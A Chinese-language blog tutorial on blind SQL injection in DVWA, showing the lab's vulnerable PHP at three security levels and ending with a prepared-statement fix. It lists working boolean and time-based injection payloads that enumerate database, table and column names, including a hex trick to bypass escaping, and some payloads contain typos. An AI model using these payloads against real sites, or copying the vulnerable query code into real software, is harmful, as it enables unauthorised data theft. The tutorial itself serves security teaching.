DVWA SQL盲注漏洞攻擊與防護

無安全防護

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_GET[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    mysql_close(); 
} 

?> 

在無安全防護下, id 沒有做任何檢查, 因此具有SQL漏洞, blind SQL 注入主要靠反傳結果yes , no 來判斷, 因此我們透過下列方式觀察反查結果的狀況

1’ and 1=2 #

1’ and 1=1 #

1’ and length(database())=3 #

1’?and length(database())=4 #

利用二分法猜測數據庫的名稱

1’ and ascii(substr(databse(),1,1))>97?

1’ and ascii(substr(databse(),1,1))<101

用類似方式查詢數據表

全部有多少數據表?
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2?

數據表的長度?
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

數據表名稱第一個字母為何?

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

users表有多少字斷?

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #

users表第一個字段名稱長度為何


1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在

利用時間的方式進行blind SQL injection

例如: 數據庫名稱長度為何?

1’ and if(length(database())=4,sleep(5),1) #

數據庫第一個字母?

1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)#

數據庫中全部有多少表?

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)#

第一個表明的長度為何?


1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #

users表中有幾個字段


1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)#

users表格第一個字段長度為何?


1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) #

中級安全

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 
    $id = mysql_real_escape_string( $id ); 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    //mysql_close(); 
} 

?> 

攻擊測試方式

數據庫名的長度為4個字符
1 and length(database())=4 #
1 and if(length(database())=4,sleep(5),1) #

數據中的第一個表名長度為9個字符
1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #

users表有8個字段
1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #

高級防護

<?php 

if( isset( $_COOKIE[ 'id' ] ) ) { 
    // Get input 
    $id = $_COOKIE[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // Might sleep a random amount 
        if( rand( 0, 5 ) == 3 ) { 
            sleep( rand( 2, 4 ) ); 
        } 

        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    mysql_close(); 
} 

?> 

高級防護中加入隨機等待時間 sleep(?rand( 2, 4 ) ); 打亂采用sleep的blind SQL注入方式, 盡管如此, 我們還是可以利用基于布爾的盲注

數據庫名的長度為4個字符
1’ and length(database())=4 #

數據中的第一個表名長度為9個字符
1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

uers表有8個字段
1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #

0×7573657273 為users的16進制, 可以利用這個網站http://yehg.net/encoding/?

完整的防護方式

對于SQL Injection最完整的防護方式還是使用 prepare statement !

 $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
        $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
        $data->execute(); 

Leave a Reply

Your email address will not be published.